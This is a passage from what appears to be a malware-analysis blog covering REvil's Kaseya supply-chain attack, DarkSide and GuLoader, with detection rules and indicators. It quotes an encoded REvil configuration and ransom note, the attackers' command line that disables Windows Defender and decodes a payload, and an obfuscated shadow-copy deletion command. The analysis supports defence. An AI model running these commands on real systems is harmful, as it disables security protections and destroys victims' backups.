gB0AGUAcgBlAHMAdABzAC4ADQAKAFQAbwAgAGMAaABlAGMAawAgAHQAaABlACAAYQBiAGkAbABpAHQAeQAgAG8AZgAgAHIAZQB0AHUAcgBuAGkAbgBnACAAZgBpAGwAZQBzACwAIABZAG8AdQAgAHMAaABvAHUAbABkACAAZwBvACAAdABvACAAbwB1AHIAIAB3AGUAYgBzAGkAdABlAC4AIABUAGgAZQByAGUAIAB5AG8AdQAgAGMAYQBuACAAZABlAGMAcgB5AHAAdAAgAG8AbgBlACAAZgBpAGwAZQAgAGYAbwByACAAZgByAGUAZQAuACAAVABoAGEAdAAgAGkAcwAgAG8AdQByACAAZwB1AGEAcgBhAG4AdABlAGUALgANAAoASQBmACAAeQBvAHUAIAB3AGkAbABsACAAbgBvAHQAIABjAG8AbwBwAGUAcgBhAHQAZQAgAHcAaQB0AGgAIABvAHUAcgAgAHMAZQByAHYAaQBjAGUAIAAtACAAZgBvAHIAIAB1AHMALAAgAGkAdABzACAAZABvAGUAcwAgAG4AbwB0ACAAbQBhAHQAdABlAHIALgAgAEIAdQB0ACAAeQBvAHUAIAB3AGkAbABsACAAbABvAHMAZQAgAHkAbwB1AHIAIAB0AGkAbQBlACAAYQBuAGQAIABkAGEAdABhACwAIABjAGEAdQBzAGUAIABqAHUAcwB0ACAAdwBlACAAaABhAHYAZQAgAHQAaABlACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5AC4AIABJAG4AIABwAHIAYQBjAHQAaQBjAGUAIAAtACAAdABpAG0AZQAgAGkAcwAgAG0AdQBjAGgAIABtAG8AcgBlACAAdgBhAGwAdQBhAGIAbABlACAAdABoAGEAbgAgAG0AbwBuAGUAeQAuAA0ACgANAAoAWwArAF0AIABIAG8AdwAgAHQAbwAgAGcAZQB0ACAAYQBjAGMAZQBzAHMAIABvAG4AIAB3AGUAYgBzAGkAdABlAD8AIABbACsAXQANAAoADQAKAFkAbwB1ACAAaABhAHYAZQAgAHQAdwBvACAAdwBhAHkAcwA6AA0ACgANAAoAMQApACAAWwBSAGUAYwBvAG0AbQBlAG4AZABlAGQAXQAgAFUAcwBpAG4AZwAgAGEAIABUAE8AUgAgAGIAcgBvAHcAcwBlAHIAIQANAAoAIAAgAGEAKQAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAaQBuAHMAdABhAGwAbAAgAFQATwBSACAAYgByAG8AdwBzAGUAcgAgAGYAcgBvAG0AIAB0AGgAaQBzACAAcwBpAHQAZQA6ACAAaAB0AHQAcABzADoALwAvAHQAbwByAHAAcgBvAGoAZQBjAHQALgBvAHIAZwAvAA0ACgAgACAAYgApACAATwBwAGUAbgAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQA6ACAAaAB0AHQAcAA6AC8ALwBhAHAAbABlAGIAegB1ADQANwB3AGcAYQB6AGEAcABkAHEAawBzADYAdgByAGMAdgA2AHoAYwBuAGoAcABwAGsAYgB4AGIAcgA2AHcAawBlAHQAZgA1ADYAbgBmADYAYQBxADIAbgBtAHkAbwB5AGQALgBvAG4AaQBvAG4ALwB7AFUASQBEAH0ADQAKAA0ACgAyACkAIABJAGYAIABUAE8AUgAgAGIAbABvAGMAawBlAGQAIABpAG4AIAB5AG8AdQByACAAYwBvAHUAbgB0AHIAeQAsACAAdAByAHkAIAB0AG8AIAB1AHMAZQAgAFYAUABOACEAIABCAHUAdAAgAHkAbwB1ACAAYwBhAG4AIAB1AHMAZQAgAG8AdQByACAAcwBlAGMAbwBuAGQAYQByAHkAIAB3AGUAYgBzAGkAdABlAC4AIABGAG8AcgAgAHQAaABpAHMAOgANAAoAIAAgAGEAKQAgAE8AcABlAG4AIAB5AG8AdQByACAAYQBuAHkAIABiAHIAbwB3AHMAZQByACAAKABDAGgAcgBvAG0AZQAsACAARgBpAHIAZQBmAG8AeAAsACAATwBwAGUAcgBhACwAIABJAEUALAAgAEUAZABnAGUAKQANAAoAIAAgAGIAKQAgAE8AcABlAG4AIABvAHUAcgAgAHMAZQBjAG8AbgBkAGEAcgB5ACAAdwBlAGIAcwBpAHQAZQA6ACAAaAB0AHQAcAA6AC8ALwBkAGUAYwBvAGQAZQByAC4AcgBlAC8AewBVAEkARAB9AA0ACgANAAoAVwBhAHIAbgBpAG4AZwA6ACAAcwBlAGMAbwBuAGQAYQByAHkAIAB3AGUAYgBzAGkAdABlACAAYwBhAG4AIABiAGUAIABiAGwAbwBjAGsAZQBkACwAIAB0AGgAYQB0AHMAIAB3AGgAeQAgAGYAaQByAHMAdAAgAHYAYQByAGkAYQBuAHQAIABtAHUAYwBoACAAYgBlAHQAdABlAHIAIABhAG4AZAAgAG0AbwByAGUAIABhAHYAYQBpAGwAYQBiAGwAZQAuAA0ACgANAAoAVwBoAGUAbgAgAHkAbwB1ACAAbwBwAGUAbgAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQAsACAAcAB1AHQAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAZABhAHQAYQAgAGkAbgAgAHQAaABlACAAaQBuAHAAdQB0ACAAZgBvAHIAbQA6AA0ACgBLAGUAeQA6AA0ACgANAAoADQAKAHsASwBFAFkAfQANAAoADQAKAA0ACgAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ADQAKAA0ACgAhACEAIQAgAEQAQQBOAEcARQBSACAAIQAhACEADQAKAEQATwBOACcAVAAgAHQAcgB5ACAAdABvACAAYwBoAGEAbgBnAGUAIABmAGkAbABlAHMAIABiAHkAIAB5AG8AdQByAHMAZQBsAGYALAAgAEQATwBOACcAVAAgAHUAcwBlACAAYQBuAHkAIAB0AGgAaQByAGQAIABwAGEAcgB0AHkAIABzAG8AZgB0AHcAYQByAGUAIABmAG8AcgAgAHIAZQBzAHQAbwByAGkAbgBnACAAeQBvAHUAcgAgAGQAYQB0AGEAIABvAHIAIABhAG4AdABpAHYAaQByAHUAcwAgAHMAbwBsAHUAdABpAG8AbgBzACAALQAgAGkAdABzACAAbQBhAHkAIABlAG4AdABhAGkAbAAgAGQAYQBtAGEAZwBlACAAbwBmACAAdABoAGUAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABhAG4AZAAsACAAYQBzACAAcgBlAHMAdQBsAHQALAAgAFQAaABlACAATABvAHMAcwAgAGEAbABsACAAZABhAHQAYQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEADQAKAE8ATgBFACAATQBPAFIARQAgAFQASQBNAEUAOgAgAEkAdABzACAAaQBuACAAeQBvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdABzACAAdABvACAAZwBlAHQAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYgBhAGMAawAuACAARgByAG8AbQAgAG8AdQByACAAcwBpAGQAZQAsACAAdwBlACAAKAB0AGgAZQAgAGIAZQBzAHQAIABzAHAAZQBjAGkAYQBsAGkAcwB0AHMAKQAgAG0AYQBrAGUAIABlAHYAZQByAHkAdABoAGkAbgBnACAAZgBvAHIAIAByAGUAcwB0AG8AcgBpAG4AZwAsACAAYgB1AHQAIABwAGwAZQBhAHMAZQAgAHMAaABvAHUAbABkACAAbgBvAHQAIABpAG4AdABlAHIAZgBlAHIAZQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEAAAA=","et":0,"wipe":true,"wfld":["backup"],"rdmcnt":0,"nname":"{EXT}-readme.txt","pk":"9/AgyLvWEviWbvuayR2k0Q140e9LZJ5hwrmto/zCyFM=","net":false,"exp":false,"arn":false}

Propagation and Related Risks

Supply chain attacks perpetrated with the aim of targeting new victims is something we are not used to see in a ransomware-related incident. This one appears however to have a big impact and certainly opens to considerations about the devastating new trend in cybercrime to study and focus on a single target only to hit hundreds or thousands of them. What must definitely be considered in this event is that the first targets are MSPs (Managed Service Providers) because, by hitting them, the attacker has the potential to further spread malicious payloads even towards their customers.

Victimology

Managed Service Providers located at least in the following countries: US, DE, UK, IE according to the visibility I can dispose of at the time of writing. MSPs are generally to be considered a strategic target as they offer a direct channel to reach many other potential targets (the same MSP customers).

Indicators of Compromise / Linked Artifacts

updatename: Kaseya VSA Agent Hot-fix

filePath: c:\kworking\agent.exe

filePath: c:\kworking\agent.crt

Task commandline: C:\WINDOWS\system32\cmd.exe” /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe

md5: 561cffbaba71a6e8cc1cdceda990ead4

sha1: 5162f14d75e96edb914d1756349d6e11583db0b0

sha256: d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e

md5: a47cf00aedf769d60d58bfe00c0b5421

sha1: 656c4d285ea518d90c1b669b79af475db31e30b1

sha256: 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd

Detection

#yara

The following rule can be useful to identify the Revil / Sodinokibi dropper

rule REvil_Dropper_827322_000001 {
meta:
description = “Detects REvil/Sodinokibi dropper as observed in Kaseya supply-chain attack”
author = “Emanuele De Lucia”
reference1 = “https://twitter.com/markloman/status/1411036209304965121”
reference2 = “www.emanueledelucia.net/revil-sodinokibi-ransomware-delivered-through-kaseya-supply-chain-attack”
date = “2021-07-02”
hash1 = “d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e”
strings:
$ = “MpSvc.dll” fullword ascii
$ = “MsMpEng.exe” fullword wide
$ = “Antimalware Service Executable” fullword wide
$ = “MsMpEng.pdb” fullword ascii
$ = “SOFTIS” fullword wide
$ = “MODLIS” fullword wide
condition: uint16(0) == 0x5a4d and all of them
}

#powershell

A possible way to get a first degree of visibility into potential events related to such threat could be to detect how the adversary tries to disable the defenses of the victim system (T1562). In particular, this allows us to observe events in which the adversary successfully disabled Windows Defender through powershell message

Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational | where {($_.message -match “.Set-MpPreference.” -and $_.message -match “.-DisableRealtimeMonitoring $true.” -and $_.message -match “.-DisableIntrusionPreventionSystem $true.” -and $_.message -match “.-DisableIOAVProtection $true.” -and $_.message -match “.-DisableScriptScanning $true.” -and $_.message -match “.-EnableControlledFolderAccess Disabled.” -and $_.message -match “.-EnableNetworkProtection AuditMode.” -and $_.message -match “.-Force -MAPSReporting Disabled.” -and $_.message -match “.-SubmitSamplesConsent NeverSend.”) } | select TimeCreated,Id,RecordId,ProcessId,MachineName,Message

Reference:

Share:

Ransomware: Survival vs Kill Chain.

What we today define “ransomware” at the beginning were basically screen lockers demanding a ransom from the victim (“Your PC contains illegal content and cannot be used …“).

In relation to the increasing revenues they are able to generate, in recent years they have become one of the fastest growing classes of malicious software in the cyber threat landscape.

Lately, moreover, almost all of the interventions and articles on “cyber” topics were related to this category of malware as a result of a specific attack against Colonial Pipelines Inc. which caused countless economic losses and inconveniences of any kind in the States.

In face of first rivers of ink spilled on the incident itself and then on the group responsible for the attack (- note it was one of the group’s affiliates and not the same dev team of the #DarkSide ransomware -) they are not missing, here and there, articles / advice / posts by experts on how to defend against this type of malware.

The plethora of suggestions given, however, in my opinion have rarely been placed within a strategic context and almost always indicated as a list of specific actions to be performed.

The individual items of these lists, although singularly impeccable from a theoretical point of view (such as “installing a good antivirus” and “applying risk management processes“), can be difficult to apply in practice if not placed in a well-defined context that pursue a specific purpose; this purpose should the contrast and mitigation of extortion-oriented attacks and much more generally the enhancement of one’s defensive capabilities.

Finally, considering the famous phrase – “It is not possible to be 100% protected from malicious code” – it is also clear that a valid defensive solution cannot be based exclusively on the adoption of the latest AV / EDR technologies (more or less sophisticated) nor much less on tricks and / or tips of the last minute.

Survival Skills:

Implementing a good defense program against these threats is undoubtedly an active and continuous process over time that involves the strengthening of at least five (5) internal capabilities.

They are:

Prevention: prevent the exploitation of infrastructure weaknesses and / or vulnerabilities through processes for updating, hardening and control of public information (social networks, public managers / employees profiles, job descriptions …) Technically speaking, in some cases, prevention could also mean adopting alternative technologies to those already in place and normally used, for example, for remote access services (VPN / RDP) in order to totally eliminate the growing risks due to the greater attention of criminal groups against them (0day research, 1 day exploit and theft / sale of access credentials on clearnet / darknet). Their potential compromise, in fact, could be catastrophic for the environment to be protected and provide an advantage that is difficult to recover on a defensive level as these services are often designed to interface directly with corporate intranets.

Detection and Protection: represents the ability to protect your assets from potentially adverse events by acquiring the ability to detect and contain a threat. As for the malicious code, the protection of your assets certainly includes the adoption of an AV / EDR, execution prevention systems, sandboxes etc.etc.

Resistance: indicates the ability to face and / or minimize the effects of an unknown or particularly stealthy threat and which has a high possibility of representing a concrete risk. It involves the implementation of concepts such as the separation of environments, the reduction of the potential attack surface, the identification of critical services and more stringent access control to them, etc. etc.

Resilience: indicates the ability to recover after an accident. Knowledge (SA – Situational Awareness): it means clearly understanding what to defend against in relation to our perimeter as well as the tactics and procedures implemented by the opponents and the consequent adoption of a defense strategy.

Knowledge (SA – Situational Awareness): it means clearly understanding what one must defend against in relation to our perimeter as well as the tactics and procedures implemented by the adversaries and a consequent adoption of a defense strategy.

Ransomware…pays off:

The Covid-19 pandemic has been very useful for the “ransomware” business. In general the higher revenues of many criminal groups (tripled, according to some estimates, compared to the pre-covid period) are due to the inability of many organizations to adapt to a de-centralized work model after a large percentage of their the workforce begun to operate outside a defined perimeter (the classic corporate one).

However, in many cases, it should be noted that the extension of the attack surface as a direct consequence of the new “smart-workers” not actually created a “new” problem from scratch but has often magnified one that was present even previously. This problem is mainly due to the lack of equipment (not only in the technological field but also in the procedural and internal policies ones) with which many companies fight these threats.

The most typical and widespread weakness observed during the analysis of some incidents was to focus (or limit) these defense on few points compared to the five (5) listed above. Closely related to what the “classic” cyber-security industry proposes, very often the one and only line of defense is delegated to AntiVirus / EDR and “Monitoring Operations“, thus concentrating all the contrast strategy in the already described capacity of “Detection and Protection“.

In consideration of the fact that even the most modern anti-malware solutions available on the market cannot guarantee detection rates even close to 100% (without considering the context on the basis of which an adversary arrives to operate within our perimeter) itìs evident that relying exclusively on them may not be enough.

Survival vs Kill Chain:

All the intrusions that arrive at a ransom request have effectively closed the so-called “Kill-chain”. The kill-chain virtually represents a series of steps (or rings), precisely, concatenated, and in general, simplifying, they are:

1. Information gathering

2. First access and early-stage payload delivery

3. Lateral movement

4. Late-stage payload delivery

Closing this chain often means, for the victim, having to pay an expensive ransom to get back its data and documents. An effective contrast strategy will therefore provide for the direct mitigation of the potential risks deriving from each single phase (or ring) of this kill-chain, directing, with a more strategic vision, one’s work towards the five (5) points identified before.

Information Gathering: In this phase, attackers seek and hunt potential victims by acquiring information about them. While only some time ago the approach to choice seemed to be quite casual and a direct consequence of the general external posture of the organization to hit (in the sense that robbing a shop is generally easier than robbing a bank) now the trend seems to be moving towards a much more targeted decision, so as to be able to ask for very substantial ransoms once the operation succeed. Under the heading of “Prevention“, fall the set of activities aimed at not exposing the side to such attacks by trying to contain the information released (voluntarily or not) on social networks and public profiles of the company. In this regard, Security Awareness programs are particularly useful. Information sources (threat intelligence) designed to increase the levels of Situational Awareness of the staff in charge of network protection can also be particularly useful.

First Access / Early-Stage payload delivery: In this phase, the attacker is able to obtain a first access to the perimeter. In order to make their life as difficult as possible it is necessary to correctly apply hardening and patching programs to the systems. Technically limiting the potential attack surface, applying multiple authentication systems, blocking the execution of macros and scripting languages ​​that are not strictly necessary, checking permissions, logically limiting the communications of internal workstations are all useful factors for an Incident Prevention strategy. If the attacker still manages to deliver a first-stage payload and therefore to obtain a first access to our infrastructure, the adoption of policies aimed at obtaining greater visibility regarding what is happening (for example: alerts on login credentials anomalies, alerts on changes to accounts in the AD – Active Directory -, alerts on malicious DNS resolutions, alerts on network flow anomalies – Firewall Logs -, alerts on IDS / IPS events and so on…) is useful to strengthen our Detection and Protection skills. EDR / AV and SIEM support these skills as well.

Lateral movement: In this phase, the attacker managed to effectively compromise one or more machines inside our infrastructure and aims at expanding his/her control. If the defenses put in place up to now have proved ineffective, a further protective barrier capable of mitigating what is in place could be represented by the application of strong network segmentation policies of the environments. A further critical factor that can significantly increase our Resistance skills is the application of Behavior Analytics Systems.

Late-stage payload delivery: If the strategies applied so far have proved particularly ineffective in combating a so advanced and persistent adversary, we could suffer the effects of the last phase of a ransomware-kill-chain, that is the release of the last stage payload, the one that will probably be in charge of encrypting our data and information. Most likely the attacker already got the full control of several internal machines and probably also obtained “admingrade” credentials. Based on my personal experience, therefore, if we are at this point there is little chance that the Detection and Protection systems can effectively mitigate the course of events. The best defense at this point is to have a good backup of all data, files, applications and any other critical resources. These backups must obviously be isolated from other systems.

Conclusions:

The ransomware business is particularly profitable. Considering the revenues it generates, it’s possible to assume possible to assume much more frequent and sophisticated attacks. The application of defensive measures in the various stages of the kill-chain, however, can reduce the risk of a full data loss (and to rely exclusively on negotiations with criminals to recover them).

Share:

Affiliates vs Hunters: Fighting the “DarkSide”

This content was originally written by me for SOC Prime, Inc. You can view the original article with detection rules here or read on for a local version.

Introduction

On August 2020 a new type of malware, belonging to the Ransomware category, appeared in the cyber threat landscape. Threat actor responsible for its development called it “DarkSide” and , like others piece of malware of this type, is operated in Big Game Hunting (BGH) campaigns. Around more or less the same time, a DLS (Dedicated Leak Site) was made available on the darkweb (behind the TOR network) in order to report the first victims.

On their DLS, DarkSide operators claimed to be experienced in conducting cyber operations, having previously used other , not better identified, ransomware variants. Indeed, some characteristics of their operations support the hypothesis that the group could be a former affiliate of some other R-a-a-S (Ransomware as a Service) program that chosen to write their own ransomware likely to avoid sharing the profits of criminal activities with third parties.

Insights

DarkSide is a well-written malware family not much changed if compared to the first versions analyzed. Usually the samples belonging to this family present, as already reported in other technical tearticles, some functionalities aimed at making the analysis more harder. Indeed, in a recent sample (sha256:17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61), at 0040182A we find a sub aimed at dynamically resolving DLLs and API through LoadLibrary / GetProcAddress. sub_4016D5, sub_4013DA and sub_401AC3 are also involved in this process. The following screenshot shows a chunk of code extracted from the whole function designed for this purpose:

This can be an useful place to create a code-chunck based Yara rule aimed at hunting further variants of the same malware family. After having selected two representative chuncks we can obtain something similar to the following:

rule DarkSide_Ransomware_827333_39928 : CRIMEWARE {
meta:
author = “Emanuele De Lucia”
description = “Detects possible variants of DarkSide ransomware”
hash1 = “17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61”
/*
call 0x4016d5
push esi
call 0x408195
mov ebx, eax
push dword ptr [esi – 4]
push esi
call 0x4013da
mov eax, dword ptr [esi – 4]
lea esi, [esi + eax]
mov ecx, 0x23
*/
strings:
$ = { E8 [4] 56 E8 [4] 8B D8 FF 76 ?? 56 E8 [4] 8B 46 ?? 8D 34 06 B9 ?? ?? ?? ?? }
condition:
any of them
}

Darkside employs also techniques for privilege escalation and UAC (User Access Control) bypass. The technique observed in this case is known as CMSTPLUA UAC Bypass and exploits the ShellExec function by CMSTPLUA COM interface {3E5FC7F9-9A51-4367-9063-A120244FBEC7}. This allow to start a process with elevated permissions, according to the following graph:

Powershell is used in order to delete shadow copies preventing the recovery of previously backed up files through them according to the following syntax:

powershell -ep bypass -c
“(0..61)|%{$s+=[char][byte](‘0x’+’4765742D576D694F626A6563742057696E33325F536861646F77
636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20′
.Substring(2*$_,2))};iex $s”
Decoded:
Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

In this case, a quick Sigma rule, can be employed in order to hunt for similar systems-side behaviors.

title: Detects possible DarkSide infection through PowerShell cmdline used to delete Shadow copies
status: stable
description: Detects possible DarkSide infection through PowerShell cmdline used to delete Shadow copies
author: Emanuele De Lucia
references:
– internal research
tags:
– attack.t1086
– attack.t1064
date: 2020/12/01
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
– ‘\powershell.exe’
CommandLine|contains|all:
– ‘(0..61)|%%{$s+=[char][byte]’
– ‘4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20’
condition: selection
level: high

Before executing the main payload, the sample performs several other activities like information gathering (f.e. get Disks Info)

This image has an empty alt attribute; its file name is immagine-2.png

and a comparison of system services with a predefined list to stop those services that could affect the file encryption process

The following are the services malware looks for:

sql
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlplussvc
xfssvccon
mydesktopservice
ocautoupds
encsvc
firefox
tbirdconfig
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
winword
wordpad
notepad

These areas can likewise be considered in order to extract bad-known pieces of code:

rule DarkSide_Ransomware_827333_39929 : CRIMEWARE {
meta:
author = “Emanuele De Lucia”
description = “Detects possible variants of DarkSide ransomware”
hash = “17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61”
/*
push 0x10020
push dword ptr [edi]
push dword ptr [ebp – 4]
call dword ptr [0xcf0e66]
mov dword ptr [ebp – 8], eax
cmp dword ptr [ebp – 8], 0
je 0xce4d83
push 0x1c
lea eax, [ebp – 0x30]
push eax
call 0xce13da
lea eax, [ebp – 0x30]
push eax
push 1
push dword ptr [ebp – 8]
call dword ptr [0xcf0e6a]
push dword ptr [ebp – 8]
call dword ptr [0xcf0e6e]
*/
strings:
$ = {68 [4] FF 37 FF 75 ?? FF 15 [4] 89 45 ?? 83 7D [2] 74 ?? 6A ?? 8D 45 ?? 50 E8 [4] 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 [4] FF 75 ?? FF 15 ?? ?? ?? ??}
condition:
any of them
}

After the encryption phase, Darkside is designed to communicate to its command and control server in order to share details relating to the victim (victimID) as well as further parameters useful for recovering encrypted files and identifing the affiliate. Most probably these network capabilities have been added in order to support the R-a-a-S model. In the analyzed sample, the CnC (Command and Control) is attested over the domain name securebestapp20.com. Detecting network activities potentially related to this threat could therefore involve writing SNORT rules similar to the following:

alert udp $HOME_NET any -> any 53 (msg:”DNS request for a blacklisted domain ‘securebestapp20.com'”; content:”|0f|securebestapp20|03|com|00|”;nocase; reference:url,https://www.emanueledelucia.net/; sid:[SID HERE]; rev:1;)

This domain name has been created on 16/09/2020 and, according to my visibility, at time of writing it has an history of two (2) A record associated. The interesting one is linked to the IP 185.105.109.19. Could be interested to note that the pDNS count value for this domain name from 21/09/2020 (day of first observed resolution to 185.105.109.19) to 05/01/2021 (day of last observed resolution to 185.105.109.19) is less than 180 and that most of them occurred from early November until today. This suggest a growth of the spread and obviously of the R-a-a-S business as well. In general, moreover, this number is also consistent with the low overall volume of DarkSide campaigns observed at least until mid-November 2020. This is further confirmed by the payload-side visibility I can dispose of for this malware family. Following are shown detection hits for DarkSide malfamily up to December 2020:

Welcome to Darkside

On 11/10/2020 a user posted an announcement titled “[Affiliate Program] Darkside Ransomware” on a Russian-speaking darkweb forum. The text contained in that post officially started the project’s affiliate program. Press articles has been used in order to advertise the program itself as well as the skills of the group that are “aimed only at large corporations” as originally posted by threat actor itself:

In the affiliate program are not welcome, among others, English speaking personalities, employees of the secret service, security researchers, the greedy (at least so I seem to understand) etc.etc.

There are, moreover, some rules to be respected, like avoiding to target entities within countries belonging to the CIS (Содружество Независимых Государств), including Georgia and Ukraine, or those operating in education, medicine, public and non-profit sector.

As you might imagine for any other job, there is a selection to go through in order to be included in the program. This includes an interview to check the candidate’s skills and experiences, such having been affiliated with some other program previously.

The group offers a Windows and Linux version of DarkSide ransomware plus an admin panel, a leak site and a CDN system for data storage.

So, do you have ESXi ?

At the end of November 2020, a Linux variant (ELF64) of DarkSide ransomware was uploaded to a well-known online malware repository. It had a detection rate, at the time of upload, practically non-existent. Even at time of writing (Jan 2021) the detection rate is very low (2/63). It seems to have a quite different purpose respect to the Windows counterpart. While the latter is born to encrypt all user files on a workstation (documents, images, PDFs and so on…), the Linux version has been created to damage virtual machines on servers. Indeed, the samples looks for extensions related to VMWare files like .vmdk, .vmem, .vswp and generic logs formats.

The ransom note is similar to the Windows one

and the output of the executable, once launched, confirms the focus on ESXi environments

as /vmfs/volumes/ is the default location of ESXi virtual machines.

A strict Yara rule similar to the following can help in identifying Linux variants of DarkSide :

rule DarkSide_Ransomware_827333_39930 : CRIMEWARE {
meta:
author = “Emanuele De Lucia”
description = “Detects possible variants of Linux DarkSide ransomware variants”
hash1 = “da3bb9669fb983ad8d2ffc01aab9d56198bd9cedf2cc4387f19f4604a070a9b5”
strings:
$ = “vmdk,vmem,vswp,log” fullword ascii
$ = “XChaCha20” fullword ascii
$ = “Partial File Encryption Tool” fullword ascii
$ = “main.log” fullword ascii
condition:
(uint16(0) == 0x457f and all of them)
}

Also for the Linux version, communications to the outside world take place through the same domain name previously reported and a specially crafted URL for each victim. Through Sigma it’s possible to write rules aimed at detecting DNS resolution requests to domain name where actually the command and control is attested:

title: Detects resolution requests to DarkSide Command and Control domain name
status: stable
description: Detects resolution requests to DarkSide Command and Control domain name
references:
– https://www.emanueledelucia.net/fighting-the-darkside-ransomware/
author: Emanuele De Lucia
date: 2020/12/01
tags:
– attack.t1071.001
logsource:
category: dns
detection:
selection:
query:
– ‘securebestapp20.com’
condition: selection
falsepositives:
– internal research
level: high

Adversary Profile

From mid-November 2020, following the affiliation program, it’s currently more difficult to associate the exclusive use of DarkSide ransomware to a specific threat actor. However, some similarities with Revil suggest that its developer may be familiar with this solution until speculating that it may be from a former Revil affiliate who, to have more control over the operations and not to divide the profits, launched his own project, further enhanced by an independent affiliate program.

Regardless the specific actor behind the operations, DarkSide can be delivered via several vectors usually after gathering information about the target. According to my visibility, at least one threat actor who used DarkSide adopted the phishing technique (T1566) in order to deliver a first-stage payload whose exploitation finally allowed the distribution of DarkSide variants within the victim environment. Other intrusion techniques involve exploiting vulnerabilities in exposed applications (T1190) in order to get a first foothold from which to perform lateral movements.

MITRE ATT&CK

TechniqueTacticDescription
T1190AccessAdversaries may attempt to take advantage of a weakness in an Internet-facing application using software, data, or commands in order to cause unintended or unanticipated behavior.
T1566AccessAdversaries may send phishing messages to gain access to victim systems.
T1059.001ExecutionAdversaries may abuse PowerShell commands and scripts for execution.

T1059.005
ExecutionAdversaries may abuse VBS scripts in order to perform tasks on the victim’s machine.
T1548.002Privilege EscalationAdversaries bypass UAC mechanisms to elevate privileges on system.
T1218.003Defense EvasionAdversaries abuse CMSTP to proxy execution of malicious code.
T1140 Defense EvasionAdversaries uses obfuscated files or information to hide artifacts of an intrusion from analysis.
T1083DiscoveryAdversaries enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
T1057DiscoveryAdversaries attempt to get information about
running processes on a system.
T1071.001Command and ControlAdversaries may communicate using application layer protocols associated with web traffic.
T1486ImpactAdversaries encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources.
T1489ImpactAdversaries stop or disable services on a system to render those services unavailable.

Indicators of Compromise

ObservableDescriptionValue
sha256payload-deliveryda3bb9669fb983ad8d2ffc01aab9d56198bd9cedf2cc4387f19f4604a070a9b5
sha256payload-deliverybac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0
sha256payload-delivery17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
sha256payload-deliveryf764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39
sha256payload-deliverye0c0cbc50a9ed4d01a176497c8dba913cbbba515ea701a67ef00dcb7c8a84368
sha256payload-delivery691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5
sha256payload-delivery1667e1635736f2b2ba9727457f995a67201ddcd818496c9296713ffa18e17a43
domainnetwork-activitysecurebestapp20.com
ip-addressnetwork-activity185.105.109.19

Share:

A GuLoader health check: Q3 2020 activity of the {il}legitimate Italian malware downloader

During research and analysis activities on Q3 2020, has been possible to observe a continued activity from GuLoader while it was spreading different types of malware payloads. GuLoader is a quite well made software (or “malware”) protector and downloader. However, it’s mainly used to spread wordwide different kind of malicious artifacts.

Despite this piece of malware garnered widespread popular attention for having been related to an Italian company by a Check Point research paper, the audience of threat actors currently using it does not seem to have been affected in any way by the news.

What is GuLoader ?

GuLoader is a piece of software very well rooted in the malware business. It is a relatively new service aimed at replacing traditional packers and encryptors and has been widely adopted in the criminal underground.

It basically acts as a dropper (usually retrieving the final payload from an hardcoded URL) and therefore is part of those categories of malware that are able to deliver and spread other ones. However, the company that deals with its development and maintenance has also designed a variant capable of carrying its payload embedded in the sample itself instead of retrieving it from a URL. This is named “DarkEyE Protector“.

Anyway, one of the distinguishing features of the original GuLoader dropper is precisely that it uses URLs to download and execute further malicious components. Most of these URLs used by the malware refer to well-known cloud services like Google Drive and Microsoft OneDrive.

The typical behavioral pattern of infections attributable to GuLoader could be represented by the following graph:

Basically, an initial dropper delivered through malspam campaigns is designed to download an execute further malicious payloads.

How does it technically work ?

Long story short, I have summarized in a simplified graph the behavior of the typical GuLoader implant (please note the icon of paradise for the “Heaven’s Gate” technique :] ) as observed in the months of June and July 2020.

